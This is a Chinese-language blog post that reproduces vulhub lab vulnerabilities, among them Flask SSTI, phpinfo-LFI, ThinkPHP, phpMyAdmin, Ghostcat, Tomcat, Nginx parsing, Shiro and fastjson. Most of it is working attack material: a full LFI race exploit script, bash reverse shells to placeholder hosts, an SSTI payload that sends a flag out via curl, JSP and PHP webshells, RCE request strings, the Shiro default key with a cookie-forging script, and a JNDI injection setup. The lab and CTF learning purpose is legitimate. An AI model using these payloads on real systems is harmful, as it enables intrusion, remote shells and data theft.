p牛参与的项目vulhub,对于web安全从事人员而言应该说是宝库般的存在。里面许多的漏洞都是值得一一去学习的。在此感谢那些大佬为项目作出的付出。才让我们能够轻松复现题目。
环境从github上获取。环境搭建只需docker-compose up -d
Flask/ssti
ssti的漏洞不必多说。这个漏洞已经耳熟能详了。
稍微小提下python2的环境中,如果可以做到写文件的话
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/usr/lib/python2.7/dist-packages/jinja2/environment.py').write("\nos.system('bash -i >& /dev/tcp/[IP_ADDR]/[PORT] 0>&1')") }}
jinja2的模板会load这个module,而且这个environment.py import了os模块, 所以只要能写这个文件,就可以执行任意命令
下面是vulhub给出的python3环境下的payload:
首先他使用的是{% if cmd%}{% endif %}
式的payload。它采用的是模板语句,不同于我们以往的{{}}
变量表示。更巧妙的是,我们不需要根据回显来进行payload的构造。因为我们直接通过请求遍历所有已有类并使用符合的结果执行命令。
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
前一段时间终于把广外CTF那道当时没做出来的你的名字给搞定了,使用的也是类似的方法。由于没有回显,我们必须找出payload把结果打到vps上。当时的难点应该就是绕过被过滤的{{}}
使用{% if%}{%endif%}
替代;fuzz出config这个被替换为空的关键字;并盲打ssti。
{% iconfigf ''.__claconfigss__.__mconfigro__[2].__subclasconfigses__()[59].__init__.func_glconfigobals.linecache.oconfigs.popconfigen('curl "http://xss.buuoj.cn/index.php?do=api%26id=uHi9SZ%26location=`cat /flag_1s_Hera`"') %}1{% endiconfigf %}
phpinfo+lfi=shell
首先说明。这是一个无视php版本的漏洞。因此可见其通用性。vulhub上提供的php7的环境,以及一个lfi.php
页面执行文件包含,一个phpinfo.php
执行phpinfo。
漏洞原理:
首先,漏洞的操作顺序是:获取phpinfo中的临时文件名 –> 对临时文件进行包含 –> phpinfo页面执行结束,销毁临时文件。
所以如果我们让phpinfo的执行时间足够大,我们的文件包含就有足够时间执行。从而产生一个永久的shell。
所以利用时,使用的是原生的socket数据,往phpinfo中填充垃圾信息。php的默认缓冲区大小为4096个字节,就相当于php每次返回4096个字节给socket连接。这样,当我们获取到临时文件名时,就立即发送文件包含请求。就能执行命令并写入shell了。
使用vulhub上的exp脚本:
#!/usr/bin/python
import sys
import threading
import socket
def setup(host, port):
TAG="Security Test"
PAYLOAD="""%s\r
<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG
REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
padding="A" * 5000
REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
#modify this to suit the LFI script
LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s2.connect((host, port))
s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] => ")
fn = d[i+17:i+31]
except ValueError:
return None
s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()
if d.find(tag) != -1:
return fn
counter=0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args
def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter+=1
try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print "\nGot it! Shell created in /tmp/g"
self.event.set()
except socket.error:
return
def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(phpinforeq)
d = ""
while True:
i = s.recv(4096)
d+=i
if i == "":
break
# detect the final chunk
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] => ")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")
print "found %s at %i" % (d[i:i+10],i)
# padded up a bit
return i+256
def main():
print "LFI With PHPInfo()"
print "-=" * 30
if len(sys.argv) < 2:
print "Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)
try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print "Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)
port=80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print "Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)
poolsz=10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print "Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)
print "Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()
maxattempts = 1000
e = threading.Event()
l = threading.Lock()
print "Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()
tp = []
for i in range(0,poolsz):
tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print "Woot! \m/"
else:
print ":("
except KeyboardInterrupt:
print "\nTelling threads to shutdown..."
e.set()
print "Shuttin' down..."
for t in tp:
t.join()
if __name__=="__main__":
main()
最后即可在lfi页面达成任意命令执行
/lfi.php?file=/tmp/g&1=system(`ls`);
XDebug rce
XDebug是PHP的一个扩展,用于调试PHP代码。如果目标开启了远程调试模式,并设置remote_connect_back = 1
这个配置下,我们访问http://target/index.php?XDEBUG_SESSION_START=phpstorm
,目标服务器的XDebug将会连接访问者的IP(或X-Forwarded-For头指定的地址)并通过dbgp协议与其通信,我们通过dbgp中提供的eval方法即可在目标服务器上执行任意PHP代码。
(类似于之前的java jdwp,都是一个调试模式,同时监听了指定端口,让我们可以利用命令执行)
在漏洞环境phpinfo中可以看到xdebug的配置
进而找到xdebug开启
使用脚本,注意需要python3,同时要运行在有公网ip的机器上。
python3 exp.py -t http://ip:port/index.php -c 'system('id');'
因为脚本实际上实现的是监听本地9000端口并等待xdebug的连接。因此要么处于同一内网,要么自己有公网ip.
php-fpm Fastcgi
具体使用在之前的NCTF2019 phar matches everything 中已经用过了。
由于PHP-FPM默认监听9000端口,如果这个端口暴露在公网,则我们可以自己构造fastcgi协议,和fpm进行通信
而fpm中有一个重要的环境变量参数,SCRIPT_FILENAME
。只要它是一个服务器上存在的文件,就可以执行php文件。
已知原理后,后面实现其实就不难了。我们可以通过协议执行任意文件。既然如此,只要执行一个auto_prepend_file为php://input
并开启allow_url_include = On
。它在执行任意php文件时都会把我们post的内容带进去。进而达到任意命令执行。
python exp.py ip /usr/local/lib/php/PEAR.php -p 9000 -c '<?php echo `id`;exit();?>'
phpmyadmin 4.8.1 远程文件包含漏洞
CVE-2018-12613。之前曾经在广外的比赛做过。应该说有许多种getshell方式,只不过各有千秋吧。
主要漏洞出在db_sql.php,由于里面一个urlencode函数的使用,所以可以通过二次编码绕过并文件包含。
target=db_sql.php%253f/../../../../../../../../etc/passwd
进一步可以getshell
直接执行sql语句
select `<?=phpinfo();?>`;
访问自己的session缓存文件
target=db_sql.php%253f/..../../../../../.././tmp/sess_ce21bdd74738d8aaff45c82288addcb7
所以当然可以执行sql语句
select '<?php @eval($_GET["byc"]);?>'
写入一句话并包含
?target=db_sql.php%253f/..../../../../../.././tmp/sess_43a49651429f0e100e0d55c016f338b5&byc=system(%27ls%27);
貌似之前听说这个版本只能用get的一句话,所以还是写get的一句话就好。
ThinkPHP RCE
ThinkPHP5 5.0.22/5.1.29
大致看了下,貌似是因为命名空间的符号使用导致我们可以调用任意类
payload
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
可以直接rce
&vars[0]=system&vars[1][]=ls
也可以写一个shell.php
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<%3fphp+%40eval(%24_GET%5b%27byc%27%5d)%3b%3f>
ThinkPHP5 5.0.23
也是比较常见的一个版本
GET:
?s=captcha
POST:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
Ghostcat CVE-2020-1938
幽灵猫。这里的环境只提供了文件读取.
python3 ajpShooter.py http://vpsip/ 8009 /WEB-INF/web.xml read
想要进行RCE还需要一个文件上传点。
这里直接进入容器增加一个exp.jsp
docker exec -it 容器id /bin/bash
没有vim.用curl搞来一个exp.jsp到/WEB-INF下
<%@ page import="java.util.*,java.io.*"%>
<%
out.println("Executing command");
Process p = Runtime.getRuntime().exec("ls /");
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
%>
使用命令
python3 ajpShooter.py http://vpsip/ 8009 /WEB-INF/exp.jsp eval
尝试了下弹shell的命令失败了。但是问题找不出来。最好在比赛中不要花时间执着于弹shell。可能会有大问题。
补:经郁师傅指点明白了是jsp的问题。具体原因之后解释,简要说主要是java弹shell时使用字符串与字符串数组的区别。
<%@ page import="java.util.*,java.io.*"%>
<%
String[] cmdstr = { "/bin/bash", "-c", "bash -i >& /dev/tcp/vps/port 0>&1" };
Runtime.getRuntime().exec(cmdstr);
%>
这样就能弹shell了。
tomcat7+ 弱口令 && 后台getshell漏洞
因为WUST那道题过来复现了下。还惊人的重现了:重复使用一个一次性的cookie也会造成403的问题。看来题目果然源于生活。
步骤很简单。第一步tomcat弱口令登入manager/html
后台
正常安装的情况下,tomcat8中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。
由于后台支持部署war文件,直接上传war即可getshell
步骤:
1.cmd.jsp
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
jar cvf webshell.war webshell.jsp
生成webshell
2.命令执行
/webshell/exp.jsp?pwd=023&i=id)
PHP-CGI远程代码执行漏洞(CVE-2012-1823)
出现在以cgi模式运行的php中,影响版本 php < 5.3.12 or php < 5.4.2
简单说就是命令行的参数可以通过querysring的形式传入。
比如直接传-s
index.php?-s
直接回显源码。
进一步利用这点,则通过-d使用php://input
达成文件包含=>命令执行。
payload
POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input
data: <?php echo `ls`; ?>
httpd
Apache HTTPD 多后缀解析漏洞
Apache HTTPD 支持一个文件拥有多个后缀
假如配置如下
AddHandler application/x-httpd-php .php
那么在有多个后缀的情况下,只要一个文件含有.php后缀的文件即将被识别成PHP文件
所以可以使用上传时加后缀绕过
访问上传1.php.jpg即可发现其被解析为php
Apache SSI 远程命令执行漏洞
之前接触过的shtml 的命令执行
``
之前HITCON2018 WhySoSerial中也有用到它进行文件包含的利用,这也是shtml的Server-Side Includes即ssi的特性了。
Apache HTTPD 换行解析漏洞(CVE-2017-15715)
环境有问题...没法复现了
大概就是上传php被ban时,通过.php%0a绕过,但是访问文件时时仍能被解析成php
nginx
Nginx 解析漏洞复现
这个洞直接帮我解决某入群题困扰了好久的一个点。也解决了我原来在做有关nginx有关服务的题目时遇到的奇特现象。
该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞
进入环境。直接上传一个GIF89A<?php @eval($_POST[0]);?>
的1.jpg
绕过检测,上传图片。
同时访问图片。
但是一旦在jpg后加上/.php
这个马就将被作为php解析
成功getshell
因此可以用在某些特殊的上传题目中。得到webshell竟可以如此简单,也算是一个小技巧了。
至于原因的话,还是由于nginx的配置问题。
一旦配置成把以.php结尾的文件交给fastcgi处理,遇到我们的/.php就直接扔给php了。
且php.ini设置了cgi.fix_pathinfo=1时,fastcgi会自动找到上级的1.jpg处理。
最重要的一点是php-fpm.conf中的security.limit_extensions配置项限制了fastcgi解析文件的类型
这项为空时就会将jpg文件当做代码解析。
所以只要
1、 将php.ini文件中的cgi.fix_pathinfo的值设置为0,这样php再解析1.php/1.jpg这样的目录时,只要1.jpg不存在就会显示404页面
2、 php-fpm.conf中的security.limit_extensions后面的值设置为.php
就可以防止错误解析。
Nginx 文件名逻辑漏洞(CVE-2013-4547)
这个跟上面的挺像的,
非法字符空格和截止符(\0)会导致Nginx解析URI时的有限状态机混乱,危害是允许攻击者通过一个非编码空格绕过后缀名限制。
http://127.0.0.1/file.aaa \0.php
不用说也知道webshell姿势+1
还有几个配置漏洞就不复现了hhh
Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)
严格来说自己并没有用vulhub的镜像完成复现.所以自己找了网上其他的复现文章,用了下medicean/vulapps:s_shiro_1这个镜像,姑且是能做了
Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。
首先就要准备的是java反序列化的工具ysoserial.自己之前还只用过ysoserial.net。没用过本尊这个java反序列化神器。可以直接去github项目上找已经编译好的jar.或者git clone源码用mvn编译。暂且不提。
然后首先需要构造gadget.我的目的是反弹shell.所以要把反弹shell的代码准备下(注意。java反序列触发反弹shell一定不能直接传命令的字符串,之前ghostcat里也提过了,必须要字符串数组,否则>
这样的字符过不去)而此处我们选择base64 加工命令执行代码解决这个问题
可以用下面这个网站直接得到编码payload
http://www.jackson-t.ca/runtime-exec-payloads.html
运行命令
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'BASE64_ENCODED_COMMAND'
这样就起了一个JRMP服务监听6666端口。它会接受被攻击的服务器
信息并反序列化,执行gadget对应的命令
接下来就是构造序列化的cookie rememberMe了。首先在登录界面勾选rememberme并抓包,准备替换cookie为我们的利用cookie
利用下面这个脚本生成cookie,参数传攻击ip:java监听端口
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())
本质上是利用了shiro默认密钥进行AES加密。所以可见硬编码带来的危害,导致cookie可控即可触发反序列化。
生成的cookie替换即可触发反序列化
nc监听端口得到反弹shell
vulhub的环境不知道为什么弹不到shell,而它给出的方法gadget也完全不一样,不过思路大同小异。就是我的eclipse加载项目半天没搞好...
fastjson 1.2.24 反序列化导致任意命令执行漏洞
最近莫名感觉java的题多起来了,在观摩其他dalao们的blog时也发现不少内容都在深度研究java的相关漏洞。所以自己也来尝试多复现几个反序列化的洞。至少先当个脚本小子,等到暑假就能好好研究了。
首先是1.2.24的fastjson.这里主要是一个jndi注入。其利用流程如下:
首先准备好利用的源码exp.java
import java.lang.Runtime;
import java.lang.Process;
public class exp {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = { "/bin/bash", "-c", "bash -i >& /dev/tcp/xxxxxx/9001 0>&1" };
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
然后javac exp.java
编译好得到exp.class。
而服务端在Content-Type:application/json
下,post json数据
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://xxx:9999/exp",
"autoCommit":true
}
}
这里用到了marshalsec这个工具。基本上跟ysoserial用起来一样的。拷贝源码maven编译就好
接下来启动一个RMI服务器,监听9999端口,并制定加载远程类exp.class
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://xxx/#exp" 9999
安全起见,最好还是新建一个文件夹放class文件并python监听80端口.
本机监听9001端口收到shell.
本质上就是,JdbcRowSetImpl这个类的dataSourceName支持传入一个rmi的源.
当解析这个uri的时候,就会支持rmi远程调用,去指定的rmi地址中去调用方法。
当远程rmi服务找不到对应方法时,可以指定一个远程class让请求方去调用,从而去获取我们恶意构造的class文件,从而RCE。
起一个ldap服务也是一样的,而且ldap似乎比rmi适用性更广。
只要改成java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer
并把payload中的rmi://
换成ldap://
即可。